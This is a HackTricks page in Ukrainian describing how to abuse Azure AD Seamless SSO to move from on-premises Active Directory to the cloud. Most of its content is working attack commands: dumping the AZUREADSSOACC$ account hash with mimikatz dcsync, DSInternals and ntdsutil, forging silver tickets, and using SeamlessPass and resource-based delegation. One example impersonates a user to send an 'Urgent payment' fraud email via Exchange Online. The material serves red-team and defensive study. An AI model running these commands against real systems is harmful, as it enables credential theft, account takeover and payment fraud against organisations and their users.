Az - Seamless SSO
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
З документації: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) автоматично авторизує користувачів, коли вони на своїх корпоративних пристроях, підключених до вашої корпоративної мережі. Коли ця функція увімкнена, користувачам не потрібно вводити свої паролі для входу в Azure AD, і зазвичай навіть вводити свої імена користувачів. Ця функція забезпечує вашим користувачам легкий доступ до ваших хмарних додатків без необхідності в додаткових компонентів на місці.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
В основному Azure AD Seamless SSO авторизує користувачів, коли вони на ПК, приєднаному до локального домену.
Цю функцію підтримують як PHS (Синхронізація хешів паролів), так і PTA (Аутентифікація через проксі).
Desktop SSO використовує Kerberos для аутентифікації. Коли налаштовано, Azure AD Connect створює обліковий запис комп'ютера під назвою AZUREADSSOACC$
в локальному AD. Пароль облікового запису AZUREADSSOACC$
надсилається у відкритому вигляді до Azure AD під час налаштування.
Квитки Kerberos шифруються за допомогою NTHash (MD4) пароля, а Azure AD використовує надісланий пароль для розшифровки квитків.
Azure AD відкриває кінцеву точку (https://autologon.microsoftazuread-sso.com), яка приймає квитки Kerberos. Браузер комп'ютера, приєднаного до домену, пересилає квитки на цю кінцеву точку для SSO.
Локальний -> хмара
Пароль користувача AZUREADSSOACC$
ніколи не змінюється. Тому доменний адміністратор може скомпрометувати хеш цього облікового запису, а потім використовувати його для створення срібних квитків для підключення до Azure з будь-яким синхронізованим локальним користувачем:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
З хешем ви тепер можете генерувати срібні квитки:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Щоб використати срібний квиток, слід виконати наступні кроки:
- Запустіть браузер: Потрібно запустити Mozilla Firefox.
- Налаштуйте браузер:
- Перейдіть до
about:config
. - Встановіть параметр для network.negotiate-auth.trusted-uris на вказані значення:
https://aadg.windows.net.nsatc.net
https://autologon.microsoftazuread-sso.com
- Доступ до веб-додатку:
- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є Office 365.
- Процес аутентифікації:
- На екрані входу введіть ім'я користувача, залишивши поле пароля порожнім.
- Щоб продовжити, натисніть TAB або ENTER.
tip
Це не обходить MFA, якщо вона увімкнена
Варіант 2 без dcsync - SeamlessPass
Цей напад також можна виконати без атаки dcsync, щоб бути більш непомітним, як пояснено в цьому блозі. Для цього вам потрібен лише один з наступних:
- TGT скомпрометованого користувача: Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати його, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як Kekeo та Rubeus.
- Золотий квиток: Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.
- NTLM хеш або AES ключ скомпрометованого користувача: SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT.
- NTLM хеш або AES ключ облікового запису AZUREADSSOACC$: З цією інформацією та ідентифікатором безпеки (SID) користувача, якого потрібно атакувати, можливо створити сервісний квиток і аутентифікуватися в хмарі (як виконано в попередньому методі).
Нарешті, з TGT можливо використовувати інструмент SeamlessPass з:
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
Додаткова інформація про налаштування Firefox для роботи з seamless SSO може бути знайдена в цьому блозі.
Створення квитків Kerberos для користувачів тільки в хмарі
Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть встановити SID для будь-якого користувача в хмарі. Таким чином, квитки Kerberos можна створити також для користувачів тільки в хмарі. Єдина вимога полягає в тому, що SID є правильним SID.
caution
Зміна SID для адміністраторів тільки в хмарі зараз блокована Microsoft.
Для отримання інформації перевірте https://aadinternals.com/post/on-prem_admin/
On-prem -> Cloud через обмежену делегацію на основі ресурсів
Будь-хто, хто може керувати обліковими записами комп'ютерів (AZUREADSSOACC$
) у контейнері або OU, в якому знаходиться цей обліковий запис, може налаштувати обмежену делегацію на основі ресурсів для облікового запису та отримати до нього доступ.
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
Посилання
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Я у вашому хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.